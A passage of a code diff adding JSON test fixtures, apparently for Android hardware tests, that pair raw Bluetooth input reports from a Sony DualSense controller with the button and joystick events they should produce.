+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x02, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7b,
+        0x41, 0xa1, 0xcb],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x04, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87,
+        0xa0, 0xfd, 0x5f],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x08, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e,
+        0x65, 0x35, 0xac],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press left thumb button",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x40, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa7,
+        0xc6, 0x96, 0x1a],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press right thumb button",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x80, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e,
+        0xa9, 0xe3, 0x26],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press 'share' button",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x10, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d,
+        0xe8, 0xd5, 0x90],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_OPTIONS",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x20, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6b,
+        0xf2, 0x14, 0xe9],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_PS",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x01, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc,
+        0x76, 0x09, 0x5e],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests.json
new file mode 100644
index 0000000..f182830
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests.json
@@ -0,0 +1,408 @@
+[
+  {
+    "name": "Initial check - should not produce any events",
+    "reports": [
+        [0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf3,
+          0x5a, 0x8c, 0xa]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
+          0xcc, 0x24, 0x52],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1b,
+          0x8d, 0x1e, 0x3c],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96,
+          0x2e, 0xbb, 0xe6],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcd,
+          0x6f, 0x81, 0x88],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+        [0x31, 0x00, 0x3f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xaa,
+          0x6b, 0x34, 0x38],
+        [0x31, 0x00, 0x00, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0,
+          0x77, 0xb7, 0x4f],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+        [0x31, 0x00, 0xbf, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xde,
+          0x84, 0x28, 0x55],
+        [0x31, 0x00, 0xff, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64,
+          0xf3, 0xa6, 0x63],
